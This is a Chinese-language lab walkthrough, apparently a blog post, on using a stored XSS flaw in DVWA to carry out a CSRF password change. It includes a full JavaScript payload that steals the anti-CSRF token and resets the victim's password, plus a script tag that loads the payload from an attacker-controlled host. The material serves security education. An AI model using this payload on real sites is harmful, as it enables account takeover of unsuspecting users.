利用存储型xss达到csrf改密(跨站)
原理:利用网站的xss存储漏洞插入js代码,而js代码中有攻击者注入的连接脚本(改密),当用户登录浏览储存模块时,自己的密码都会被改成攻击者脚本中写的密码
环境准备:
受害者主机ip 192.168.11.59(虚拟机)
攻击者主机ip : 192.168.11.30(物理机)
测试网络连通性
实验:
1、切换到低级:<script>alert(1)</script>
2、找到xss注入点,把js代码(<script>alert(1)</script>)丢进去有弹窗,就可以了
3、js脚本准备(我这是从云服务器导入的jequry包,以后不一定有用,可能需要自己准备jequry包,如果自己找不到可以私信我)
header("Access-Control-Allow-Origin:*");
var script=document.createElement("script");
script.type="text/javascript";
script.src="http://47.108.235.197:99/safe15/xss/jquery-3.4.1.min.js";
document.getElementsByTagName('head')[0].appendChild(script);
setTimeout(function() {
$(document).ready(function(){
var tokenUrl = 'http://192.168.11.59/dvwa/vulnerabilities/csrf/';
$.get(tokenUrl, function (data) {
var regex = /user_token\' value\=\'(.*?)\' \/\>/;
var match = data.match(regex);
var token = match[1];
var changeUrl = 'http://192.168.11.59/dvwa/vulnerabilities/csrf/?user_token='+token+
'&password_new=1234&password_conf=1234&Change=Change';
$.get(changeUrl, function (data) {
alert('done');
});
});
});
}, 500);
4把这个放进去
<script src='http://192.168.11.30/PHP/csrf.js'></script>
5切换到高级,看到弹窗(高级中有TOKEN )
6弹出就自动跨站改掉密码了,退出登录 。再登录发现原来的密码登录不上了
7这时候用我们脚本中的密码登录
8、登录成功